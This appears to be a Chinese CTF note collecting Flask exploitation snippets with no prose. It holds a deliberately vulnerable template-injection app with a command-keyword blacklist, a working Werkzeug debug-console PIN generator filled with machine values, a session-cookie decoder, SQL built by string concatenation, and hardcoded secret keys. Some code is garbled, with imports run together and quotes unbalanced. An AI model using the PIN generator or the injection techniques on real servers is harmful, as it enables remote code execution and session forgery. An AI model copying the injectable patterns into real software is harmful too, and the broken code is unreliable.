flask漏洞利用小结

from flask
import Flask, render_template_string from flask
import render_template, request, flash, redirect, url_for from flask_wtf
import FlaskForm from wtforms
import StringField, SubmitField from wtforms.validators
import DataRequired from flask_bootstrap
import Bootstrap
import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app) 
class NameForm(FlaskForm): 
    text = StringField('BASE64加密', validators = [DataRequired()]) submit = SubmitField('提交') 
    
class NameForm1(FlaskForm): 
    text = StringField('BASE64解密', validators = [DataRequired()]) submit = SubmitField('提交') 
    def waf(str):
        black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
        for x in black_list: 
            if x in str.lower(): 
                return 1 
                
@app.route('/hint', methods = ['GET']) 
def hint(): 
    txt = "失败乃成功之母！！"
    return render_template("hint.html", txt = txt)

@app.route('/', methods = ['POST', 'GET']) 
def encode(): 
    if request.values.get('text'): 
        text = request.values.get("text") 
        text_decode = base64.b64encode(text.encode()) 
        tmp = "结果 :{0}".format(str(text_decode.decode())) 
        res = render_template_string(tmp) flash(tmp) 
        return redirect(url_for('encode'))
    else :
        text = ""
        form = NameForm(text) 
        return render_template("index.html", form = form, method = "加密", img = "flask.png") 

@app.route('/decode', methods = ['POST', 'GET'])      
def decode(): 
    if request.values.get('text'): 
        text = request.values.get("text") 
        text_decode = base64.b64decode(text.encode()) 
        tmp = "结果 ： {0}".format(text_decode.decode()) 
        if waf(tmp): 
            flash("no no no !!") 
            return redirect(url_for('decode')) 
        res = render_template_string(tmp) 
        flash(res) 
        return redirect(url_for('decode'))
    else :
        text = ""
        form = NameForm1(text) 
        return render_template("index.html", form = form, method = "解密", img = "flask1.png") 
        
        
        
@app.route('/<name>', methods = ['GET']) 
def not_found(name): 
    return render_template("404.html", name = name) 
    
    
if __name__ == '__main__': 
    app.run(host = "0.0.0.0", port = 5000, debug = True)

black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377864284',# str(uuid.getnode()),  /sys/class/net/ent0/address
    '940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb'# get_machine_id(), 
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

username = req.params["username"]
password = req.params["password"]
check = "SELECT username from user_table where username='"+username+"'"
r = mysql_exec(conn,check)
if len(r)!=0:
    erro()
insert = "INSERT user_table (username,password) values ('{%s}','{%s})"%(username,password)
r = mysql_exec(insert)
redirect()

#python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    # session = sys.argv[1]
    session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls"
    print(decryption(session.encode()))

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'